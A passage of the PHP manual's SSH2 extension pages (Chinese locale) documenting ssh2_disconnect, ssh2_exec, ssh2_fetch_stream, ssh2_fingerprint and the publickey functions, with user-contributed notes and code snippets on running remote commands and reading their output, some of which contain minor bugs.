         exit (1);
}

// All Good
exit (0);

?>

You can't use ssh2_exec with this method (well at lease I couldn't) because on executing the first command the stream gets blocked and then you can't run the exit command, whereas a terminal seems to use one session.

I hope this helps someone.
Steve Kamerman 05-Jul-2011 03:06
Due to a lack of complete examples, here's a simple SSH2 class for connecting to a server, authenticating with public key authentication, verifying the server's fingerprint, issuing commands and reading their STDOUT and properly disconnecting.  Note: You may need to make sure you commands produce output so the response can be pulled.  Some people suggest that the command is not executed until you pull the response back.
<?php
class NiceSSH {
    // SSH Host
    private $ssh_host = 'myserver.example.com';
    // SSH Port
    private $ssh_port = 22;
    // SSH Server Fingerprint
    private $ssh_server_fp = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    // SSH Username
    private $ssh_auth_user = 'username';
    // SSH Public Key File
    private $ssh_auth_pub = '/home/username/.ssh/id_rsa.pub';
    // SSH Private Key File
    private $ssh_auth_priv = '/home/username/.ssh/id_rsa';
    // SSH Private Key Passphrase (null == no passphrase)
    private $ssh_auth_pass;
    // SSH Connection
    private $connection;

    public function connect() {
        if (!($this->connection = ssh2_connect($this->ssh_host, $this->ssh_port))) {
            throw new Exception('Cannot connect to server');
        }
        $fingerprint = ssh2_fingerprint($this->connection, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);
        if (strcmp($this->ssh_server_fp, $fingerprint) !== 0) {
            throw new Exception('Unable to verify server identity!');
        }
        if (!ssh2_auth_pubkey_file($this->connection, $this->ssh_auth_user, $this->ssh_auth_pub, $this->ssh_auth_priv, $this->ssh_auth_pass)) {
            throw new Exception('Autentication rejected by server');
        }
    }
    public function exec($cmd) {
        if (!($stream = ssh2_exec($this->connection, $cmd))) {
            throw new Exception('SSH command failed');
        }
        stream_set_blocking($stream, true);
        $data = "";
        while ($buf = fread($stream, 4096)) {
            $data .= $buf;
        }
        fclose($stream);
        return $data;
    }
    public function disconnect() {
        $this->exec('echo "EXITING" && exit;');
        $this->connection = null;
    }
    public function __destruct() {
        $this->disconnect();
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains two bugfixes suggested by 'AlainC' in user note #109185 (removed) on 26-JUN-2012.]
suri dot suribala dot com 24-Feb-2005 05:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

        if ( $shell_type != '' ) $this->shell_type = $shell_type;
    $this->shell = ssh2_shell( $this->con,  $this->shell_type );
    if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

    fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

        $argc = func_num_args();
        $argv = func_get_args();

    $cmd = '';
    for( $i=0; $i<$argc ; $i++) {
        if( $i != ($argc-1) ) {
          $cmd .= $argv[$i]." && ";
        }else{
          $cmd .= $argv[$i];
        }
    }
    echo $cmd;

        $stream = ssh2_exec( $this->con, $cmd );
    stream_set_blocking( $stream, true );
    return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>


Close a connection to a remote SSH server

  • ? ssh2_connect
  • ssh2_exec ?
  • PHP Manual
  • SSH2 函数
  • Close a connection to a remote SSH server

ssh2_disconnect

(PECL ssh2 >= 1.0)

ssh2_disconnect — Close a connection to a remote SSH server

说明

ssh2_disconnect(resource $session): bool

Close a connection to a remote SSH server.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

Peter Roes 14-Apr-2023 06:37
If you derive an sftp connection from an ssh connection you must close the sftp connection before closing the ssh connection if you use ssh2_dissconnect. In other words:

<?php
$ssh_con=ssh2_connect($sftp_server);
ssh2_auth_password($ssh_con, $sftp_user, $sftp_pass);
$scp_con=ssh2_sftp($ssh_con);

# do stuff with $scp_con

ssh2_disconnect($scp_con);
ssh2_disconnect($ssh_con);
?>
Anton Farber 05-Sep-2020 07:57
This function worked fine as long as I didn't use any ssh2_sftp* stuff. As soon as I did, the connection (from my webserver to my browser) was closed without any warning/error in any of the logfiles. So, this won't work

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
ssh2_disconnect(); // Causes the connection to be reset
?>

while this works

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
$connection = null; unset($connection);
?>
Cavallo 10-Dec-2018 10:07
ssh2_disconnect(...) requires at least PHP 7 (as it requires PECL ssh2 >= 1.0, which the PECL documentation on https://pecl.php.net/package/ssh2 states: "ssh2 1.0 and above is PHP 7 only").

For PHP 5.x similar functionality, try setting the ssh2_connect session variable to null, or unsetting it completely - this should allow PHP's garbage collection close the connection.

Example:

$session=ssh2_connect(...); // open connection
// code here to use connection
$session = null; unset($session); // close connection


Execute a command on a remote server

  • ? ssh2_disconnect
  • ssh2_fetch_stream ?
  • PHP Manual
  • SSH2 函数
  • Execute a command on a remote server

ssh2_exec

(PECL ssh2 >= 0.9.0)

ssh2_exec — Execute a command on a remote server

说明

ssh2_exec(
resource $session,
string $command,
string $pty = ?,
array $env = ?,
int $width = 80,
int $height = 25,
int $width_height_type = SSH2_TERM_UNIT_CHARS
): resource|false

Execute a command at the remote end and allocate a channel for it.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

command

pty

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

返回值

Returns a stream on success 或者在失败时返回 false.

示例

Example #1 Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

参见

  • ssh2_connect() - Connect to an SSH server
  • ssh2_shell() - Request an interactive shell
  • ssh2_tunnel() - Open a tunnel through a remote server

User Contributed Notes

mlocati at gmail dot com 21-Sep-2023 03:21
Since version 0.13 of the SSH2 extension, it's possible to retrieve the command exit status with stream_get_meta_data().

For example:

<?php
$channel = ssh2_exec($connection, $command);

$metadata = stream_get_meta_data($channel);

$exitCode = $metadata['exit_status'];

?>

Retrieving the exit code is very helpful, since usually, commands return 0 in case of success, and other values in case of errors.
Rainer Perske 09-Jun-2020 02:50
The following function can be used to read both stdout and stderr even if both streams contain gigabytes of data. It solves most problems mentioned in other comments, like blocking, like further using the existing connection etc.

  function ssh2_run($ssh2,$cmd,&$out=null,&$err=null){
    $result=false;
    $out='';
    $err='';
    $sshout=ssh2_exec($ssh2,$cmd);
    if($sshout){
      $ssherr=ssh2_fetch_stream($sshout,SSH2_STREAM_STDERR);
      if($ssherr){
        # we cannot use stream_select() with SSH2 streams
        # so use non-blocking stream_get_contents() and usleep()
        if(stream_set_blocking($sshout,false) and
           stream_set_blocking($ssherr,false)
        ){
          $result=true;
          # loop until end of output on both stdout and stderr
          $wait=0;
          while(!feof($sshout) or !feof($ssherr)){
            # sleep only after not reading any data
            if($wait)usleep($wait);
            $wait=50000; # 1/20 second
            if(!feof($sshout)){
              $one=stream_get_contents($sshout);
              if($one===false){ $result=false; break; }
              if($one!=''){ $out.=$one; $wait=0; }
            }
            if(!feof($ssherr)){
              $one=stream_get_contents($ssherr);
              if($one===false){ $result=false; break; }
              if($one!=''){ $err.=$one; $wait=0; }
            }
          }
        }
        # we need to wait for end of command
        stream_set_blocking($sshout,true);
        stream_set_blocking($ssherr,true);
        # these will not get any output
        stream_get_contents($sshout);
        stream_get_contents($ssherr);
        fclose($ssherr);
      }
      fclose($sshout);
    }
    return $result;
  }
dosentnd at gmail dot com 12-Mar-2020 08:39
Running multiple commands shows this warning and second(and any next) command wont be executed:
- PHP Warning:  ssh2_exec(): Unable to request a channel from remote host in ...

Solution with fclose($stream) does not work, but this is simple solution which works for me:

<?php

$connection = ssh2_connect('SOME SSH IP ADDRESS', 22);
ssh2_auth_password($connection, 'username', 'passwortd');

//those commands are for some HUAWEI enterprise routers

    $stream = ssh2_exec( $connection, "screen-length 0 temporary\ndisplay isis name-table" );
    stream_set_blocking( $stream, true );
    $stream_out = ssh2_fetch_stream( $stream, SSH2_STREAM_STDIO );
    echo stream_get_contents($stream_out);

?>

first command is: screen-length 0 temporary
second command is: display isis name-table
which is executed with \n in the same line.
You have to separete outputs of those commands later.

Looks like ssh2_exec allocates exec stream in session you are connected in, and for freeing it , you have to ssh2_disconnect.
Usualy you are ok to ssh2_exec one command then disconnect, then connect and ssh2_exec next command. This is how some other php libraries works as I have seen. But sometimes some variables are sesion dependent, and when you disconnect variables resets.
edoceo at gmail dot com 03-Dec-2016 08:46
Here's what I use for doing ssh2_exec for long running scripts, expanding on other examples.  It waits for a timeout and checks if both streams are finished.  Does not use blocking and it gets data from both STDOUT and STDERR.

<?php
$stdout = ssh2_exec($ssh, $cmd);
$stderr = ssh2_fetch_stream($stdout, SSH2_STREAM_STDERR);
if (!empty($stdout)) {

    $t0 = time();
    $err_buf = null;
    $out_buf = null;

    // Try for 30s
    do {

        $err_buf.= fread($stderr, 4096);
        $out_buf.= fread($stdout, 4096);

        $done = 0;
        if (feof($stderr)) {
            $done++;
        }
        if (feof($stdout)) {
            $done++;
        }

        $t1 = time();
        $span = $t1 - $t0;

        // Info note
        echo "while (($tD < 20) && ($done < 2));\n";

        // Wait here so we don't hammer in this loop
        sleep(1);

    } while (($span < 30) && ($done < 2));

    echo "STDERR:\n$err_buf\n";
    echo "STDOUT:\n$out_buf\n";

    echo "Done\n";

} else {
    echo "Failed to Shell\n";
}
?>

Adjust your timeout as necessary.
mbs 14-Jun-2015 11:36
<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>
noreply at voicemeup dot com 12-Feb-2013 04:12
*** IMPORTANT ***
If you are having issues getting STDERR on PHP 5.2.X, make sure to update to 5.2.17 and latest ssh2 extension from PECL.
Jim 08-Dec-2010 09:22
It is important to note that this will not work ~all~ hosts that allow SFTP. We deny shell access, but allow SFTP using the sftp-internal subsystem.

When attempting to use ssh2_exec() with this configuration, and stream_set_blocking set to true, the script will hang indefinitely. When stream_set_blocking is set to false, nothing will be returned.

Even if you can SFTP files, be sure to check with your host to see if you have shell access.
christopher dot millward at gmail dot com 26-Jul-2010 11:15
There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one.

The following code *should* get the error message written to stderr, but if the call to stream_get_contents() for stdout is run first, the subsequent call for stderr won't return anything.

If the order of the statements is reversed, the call for stderr will return any errors and call for stdout will return nothing

<?php
// Run a command that will probably write to stderr (unless you have a folder named /hom)
$stream = ssh2_exec($connection, "cd /hom");
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Enable blocking for both streams
stream_set_blocking($errorStream, true);
stream_set_blocking($stream, true);

// Whichever of the two below commands is listed first will receive its appropriate output.  The second command receives nothing
echo "Output: " . stream_get_contents($stream);
echo "Error: " . stream_get_contents($errorStream);

// Close the streams
fclose($errorStream);
fclose($stream);

?>

My initial suspicion is that either a) I've done something wrong  or b) the blocking nature of both streams means that by the time first stream has received data and returned, the buffer for the second stream has already emptied.

I've done preliminary tests with blocking disabled, but haven't had any luck there either.
gwinans at gmail dot com 27-Apr-2010 10:40
Oddly enough, I've noticed if I attempt to execute anything nothing happens. Now, I don't mean "No content is returned!".. I mean, "The command I told it to execute didn't execute!".

Unless the following pattern is followed:

<?php
$stream = ssh2_exec($connection, "touch ~/some_fake_file", 'xterm');
stream_get_contents($stream);
?>

Nowhere in the manual does it imply that stream_get_contents is required for the actual execution to take place, but in this case.. it seems that way. So, if you're having trouble getting commands to execute, try using stream_get_contents().
magicaltux at php dot net 21-Dec-2008 04:41
The "pty" parameter is not documented.

You should pass a pty emulation name ("vt102", "ansi", etc...) if you want to emulate a pty, or NULL if you don't.

Passing false will convert false to a string, and will allocate a "" terminal.
jaimie at seoegghead dot com 18-Dec-2008 08:07
I believe most of the problem that people are having here is that there is a misconception about what blocking *really* means.

Blocking means a read from the *stream* will wait until there is data.  Not necessarily all the data from the application -- but *some*.  So it won't help you at all if you're executing a command that doesn't write to stdout, or writes a whole lot of data.

So there are 2 problems:

1. If you need to know that a silent program is done via ssh2_exec, you'll need to signal it to yourself.  ssh2_exec will *not* block execution until the command is done executing.  And 2 consecutive ssh2_execs may execute asynchronously.  You could also log into a shell via ssh2_shell and parse up to the next prompt -- but that's overkill.  You can also do this by adding on some sort of sentinel at the end of your command, such as echo "@," and then block on reads until you see a "@."  Ensure "@" won't appear in the output, or escape the output via some encoding mechanism if you can't do that.

2. If the program takes awhile, you have the same problem.  You need to read until you're done.  So you need a sentinel value like the above.

3. Sleep() is just a bad idea here.  Commands rarely take the same amount of time to execute a command twice.  It may be OK if you're doing *one* thing and can just wait 5 seconds.  But that's not cool if it's something you're doing in a loop.

Hope this helps!
lko at netuse dot de 06-Dec-2007 05:41
if you are using exec function, and have problems with a output > 1000 lines
you should use

<?php
                stream_set_blocking($stream, true);
                while($line = fgets($stream)) {
                        flush();
                        echo $line."<br />";
                }
?>

except

<?php
                stream_set_blocking($stream, true);
               echo stream_get_contents($stream);
?>
Betsy Gamrat 15-Apr-2007 07:52
It is also good to use register_shutdown_function to shred the keys after this runs.
Jon-Eirik Pettersen 11-Mar-2007 04:33
The command  may not finish before the function return if the stream is not set to blocking mode. You may have to set the stream to blocking mode in order to get any output from the command.

<?php
  // [Open connection]
  // ...

  $stream = ssh2_exec($connection, 'ps ax');
  stream_set_blocking($stream, true);

  // The command may not finish properly if the stream is not read to end
  $output = stream_get_contents($stream);

  // ...
  // [Close stream and connection]
?>
Betsy Gamrat 18-Feb-2007 12:00
If the ssh2_exec takes awhile to run, and you need a handshake, you can use a file.  In this case, $flag names a handshake file that is written when the ssh script finishes.

<?php
                $stream = ssh2_exec($connection, $command . " $public_key $private_key;");
                $i=0;
                while (!file_exists ($flag) && ($i < MAX_TIME))
                {
                        sleep(1);
                        $i++;
                }
                $ret_val=($stream!=FALSE);
?>

This is an extract out of the bash script that is running.  Be sure to allow the webserver permission to read the file that the script writes.

echo 0 > $OUTFILE
chmod 666 $OUTFILE

One other note:  you can put more than one command in by separating them with ';' (semicolons).
tabber dot watts at gmail dot com 02-Dec-2005 03:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connect($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
    $line = fgets($shell);
    if(!strstr($line,$cmd)) {
      if(preg_match('/\[start\]/',$line)) {
        $start = true;
      }elseif(preg_match('/\[end\]/',$line)) {
        return $output;
      }elseif($start){
        $output[] = $line;
      }
    }
  }
}

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jschwepp AT gmail DOT com) on 17-FEB-2010 to fix a typo in a function name.]
gakksimian at yahoo dot com 07-Sep-2005 10:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
    // code fragment
    $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
    $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il 09-Jun-2005 05:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

<?php
 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
 // ...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
 // ..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
 // ..........................................
}
?>


Fetch an extended data stream

  • ? ssh2_exec
  • ssh2_fingerprint ?
  • PHP Manual
  • SSH2 函数
  • Fetch an extended data stream

ssh2_fetch_stream

(PECL ssh2 >= 0.9.0)

ssh2_fetch_stream — Fetch an extended data stream

说明

ssh2_fetch_stream(resource $channel, int $streamid): resource

Fetches an alternate substream associated with an SSH2 channel stream. The SSH2 protocol currently defines only one substream, STDERR, which has a substream ID of SSH2_STREAM_STDERR (defined as 1).

参数

channel

streamid

An SSH2 channel stream.

返回值

Returns the requested stream resource.

示例

Example #1 Opening a shell and retrieving the stderr stream associated with it

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

参见

  • ssh2_shell() - Request an interactive shell
  • ssh2_exec() - Execute a command on a remote server
  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

ingo at baab dot de 25-Jun-2020 03:46
In addition to the last post (13 years ago) from Dennis K. I corrected two typos (constant SSH2_STREAM_STDIO was misspellt) and removed (too many) brackets - this code works:

<?php
      $stdout_stream = ssh2_exec($connection, "lsssss -la");

      $sio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDIO);
      $err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

      stream_set_blocking($sio_stream, true);
      stream_set_blocking($err_stream, true);

      $result_dio = stream_get_contents($sio_stream);
      $result_err = stream_get_contents($err_stream);

      echo 'stderr: ' . $result_err;
      echo 'stdio : ' . $result_dio;
?>
hexer 10-Sep-2008 06:51
I successfully used fgets in PHP4

examples

<?php
$stderr = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDERR), 8192);

$str = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDIO), 8192);
?>
Dennis K. 24-Jan-2007 04:28
In addition to the last post from Ricardo Striquer:

Simple block the stream with stream_set_blocking(), and you dont have to sleep() the script...

<?php
stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");

$err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

$dio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDDIO);

stream_set_blocking($err_stream, true);
stream_set_blocking($dio_stream, true);

$result_err = stream_get_contents($err_stream));
$result_dio = stream_get_contents($dio_stream));
?>
Ricardo Striquer (ricardophp yohoocombr) 18-Dec-2006 07:41
I got a friend using those functions and he was not able to use this ssh2_fetch_stream function. First of all I got the ssh2_shell sample by webmaster at spectreanime dot com, but this function does not work with his sample, i believe thats because he use fwrite instead of ssh2_shell or ssh2_exec to run the command.

This sample below is to run under a command line and is fully functional. note that i add the sleep as advised by webmaster at spectreanime dot com

<?php
echo "Connexion SSH ";
if (!($connection=@ssh2_connect("69.69.69.69", 22))) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\nAuthentification ";

if (!@ssh2_auth_password($connection,"root","YourPassword")) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\n";

$stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");
sleep(1);
$stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

echo "Erros encontrados!\n------------\n";
while($line = fgets($stderr_stream)) { flush(); echo $line."\n"; }
echo "------------\n";

while($line = fgets($stdout_stream)) { flush(); echo $line."\n";}

fclose($stdout_stream);
?>


Retrieve fingerprint of remote server

  • ? ssh2_fetch_stream
  • ssh2_forward_accept ?
  • PHP Manual
  • SSH2 函数
  • Retrieve fingerprint of remote server

ssh2_fingerprint

(PECL ssh2 >= 0.9.0)

ssh2_fingerprint — Retrieve fingerprint of remote server

说明

ssh2_fingerprint(resource $session, int $flags = SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX): string

Returns a server hostkey hash from an active session.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

flags

flags may be either of SSH2_FINGERPRINT_MD5 or SSH2_FINGERPRINT_SHA1 logically ORed with SSH2_FINGERPRINT_HEX or SSH2_FINGERPRINT_RAW.

返回值

Returns the hostkey hash as a string.

示例

Example #1 Checking the fingerprint against a known value

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
die("HOSTKEY MISMATCH!\n" .
"Possible Man-In-The-Middle Attack?");
}
?>

User Contributed Notes

Lyle Mantooth 07-Dec-2013 03:42
If you're going to compare the fingerprint to a user-submitted form field, it's probably a good idea to do case-insensitive comparison:
<?php

if ($conn = ssh2_connect($user, $password)) {
    $fingerprint = ssh2_fingerprint($conn);
    if (strcasecmp($fingerprint, $known_value) === 0) {
        // Do your thing.
    }
}
?>
Of course, this is only necessary when you use the SSH2_FINGERPRINT_HEX option, not SSH2_FINGERPRINT_RAW.


Accept a connection created by a listener

  • ? ssh2_fingerprint
  • ssh2_forward_listen ?
  • PHP Manual
  • SSH2 函数
  • Accept a connection created by a listener

ssh2_forward_accept

(PECL ssh2 >= 0.9.0)

ssh2_forward_accept — Accept a connection created by a listener

说明

ssh2_forward_accept(resource $listener): resource|false

Accepts a connection created by a listener.

Warning

本函数还未编写文档，仅有参数列表。

参数

desc

An SSH2 Listener resource, obtained from a call to ssh2_forward_listen().

返回值

Returns a stream resource, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Bind a port on the remote server and listen for connections

  • ? ssh2_forward_accept
  • ssh2_methods_negotiated ?
  • PHP Manual
  • SSH2 函数
  • Bind a port on the remote server and listen for connections

ssh2_forward_listen

(PECL ssh2 >= 0.9.0)

ssh2_forward_listen — Bind a port on the remote server and listen for connections

说明

ssh2_forward_listen(
resource $session,
int $port,
string $host = ?,
int $max_connections = 16
): resource|false

Binds a port on the remote server and listen for connections.

Warning

本函数还未编写文档，仅有参数列表。

参数

session

An SSH Session resource, obtained from a call to ssh2_connect().

port

The port of the remote server.

host

max_connections

返回值

Returns an SSH2 Listener, 或者在失败时返回 false.

参见

  • ssh2_forward_accept() - Accept a connection created by a listener

User Contributed Notes

There are no user contributed notes for this page.


Return list of negotiated methods

  • ? ssh2_forward_listen
  • ssh2_poll ?
  • PHP Manual
  • SSH2 函数
  • Return list of negotiated methods

ssh2_methods_negotiated

(PECL ssh2 >= 0.9.0)

ssh2_methods_negotiated — Return list of negotiated methods

说明

ssh2_methods_negotiated(resource $session): array

Returns list of negotiated methods.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

返回值

示例

Example #1 Determining what methods were negotiated

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Encryption keys were negotiated using: {$methods['kex']}\n";
echo "Server identified using an {$methods['hostkey']} with ";
echo "fingerprint: " . ssh2_fingerprint($connection) . "\n";

echo "Client to Server packets will use methods:\n";
echo "\tCrypt: {$methods['client_to_server']['crypt']}\n";
echo "\tComp: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Server to Client packets will use methods:\n";
echo "\tCrypt: {$methods['server_to_client']['crypt']}\n";
echo "\tComp: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

参见

  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

There are no user contributed notes for this page.


Poll the channels/listeners/streams for events

  • ? ssh2_methods_negotiated
  • ssh2_publickey_add ?
  • PHP Manual
  • SSH2 函数
  • Poll the channels/listeners/streams for events

ssh2_poll

(PECL ssh2 >= 0.9.0)

ssh2_poll — Poll the channels/listeners/streams for events

说明

ssh2_poll(array &$desc, int $timeout = 30): int

Polls the channels/listeners/streams for events, and returns the number of descriptors which returned non-zero revents.

Warning

本函数还未编写文档，仅有参数列表。

参数

desc

An indexed array of subarrays with the keys 'resource' and 'events'. The value of the resource is a (channel) stream or an SSH2 Listener resource. The value of the event are SSH2_POLL* flags bitwise ORed together. Each subarray will be populated with an 'revents' element on return, whose values are SSH2_POLL* flags bitwise ORed together of the events that occurred.

timeout

The timeout in seconds.

返回值

Returns the number of descriptors which returned non-zero revents.

User Contributed Notes

There are no user contributed notes for this page.


Add an authorized publickey

  • ? ssh2_poll
  • ssh2_publickey_init ?
  • PHP Manual
  • SSH2 函数
  • Add an authorized publickey

ssh2_publickey_add

(PECL ssh2 >= 0.10)

ssh2_publickey_add — Add an authorized publickey

说明

ssh2_publickey_add(
resource $pkey,
string $algoname,
string $blob,
bool $overwrite = false,
array $attributes = ?
): bool

Note: 公钥子系统用于管理服务器到已被认证的客户端的公钥。要用公钥认证方法来认证远程系统，应使用 ssh2_auth_pubkey_file() 函数。

参数

pkey

Publickey Subsystem resource created by ssh2_publickey_init().

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

overwrite

If the specified key already exists, should it be overwritten?

attributes

Associative array of attributes to assign to this public key. Refer to ietf-secsh-publickey-subsystem for a list of supported attributes. To mark an attribute as mandatory, precede its name with an asterisk. If the server is unable to support an attribute marked mandatory, it will abort the add process.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Adding a publickey with ssh2_publickey_add()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($pkey, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

参见

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


Initialize Publickey subsystem

  • ? ssh2_publickey_add
  • ssh2_publickey_list ?
  • PHP Manual
  • SSH2 函数
  • Initialize Publickey subsystem

ssh2_publickey_init

(PECL ssh2 >= 0.10)

ssh2_publickey_init — Initialize Publickey subsystem

说明

ssh2_publickey_init(resource $session): resource|false

Request the Publickey subsystem from an already connected SSH2 server.

The publickey subsystem allows an already connected and authenticated client to manage the list of authorized public keys stored on the target server in an implementation agnostic manner. If the remote server does not support the publickey subsystem, the ssh2_publickey_init() function will return false.

参数

session

返回值

Returns an SSH2 Publickey Subsystem resource for use with all other ssh2_publickey_*() methods 或者在失败时返回 false.

注释

Note: 公钥子系统用于管理服务器到已被认证的客户端的公钥。要用公钥认证方法来认证远程系统，应使用 ssh2_auth_pubkey_file() 函数。

参见

  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


List currently authorized publickeys

  • ? ssh2_publickey_init
  • ssh2_publickey_remove ?
  • PHP Manual
  • SSH2 函数
  • List currently authorized publickeys

ssh2_publickey_list

(PECL ssh2 >= 0.10)

ssh2_publickey_list — List currently authorized publickeys

说明

ssh2_publickey_list(resource $pkey): array

List currently authorized publickeys.

参数

pkey

Publickey Subsystem resource

返回值

Returns a numerically indexed array of keys, each of which is an associative array containing: name, blob, and attrs elements.

Publickey elements
Array Key | Meaning
name | Name of algorithm used by this publickey, for example: ssh-dss or ssh-rsa.
blob | Publickey blob as raw binary data.
attrs | Attributes assigned to this publickey. The most common attribute, and the only one supported by publickey version 1 servers, is comment, which may be any freeform string.

示例

Example #1 Listing authorized keys with ssh2_publickey_list()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
echo "Key: {$key['name']}\n";
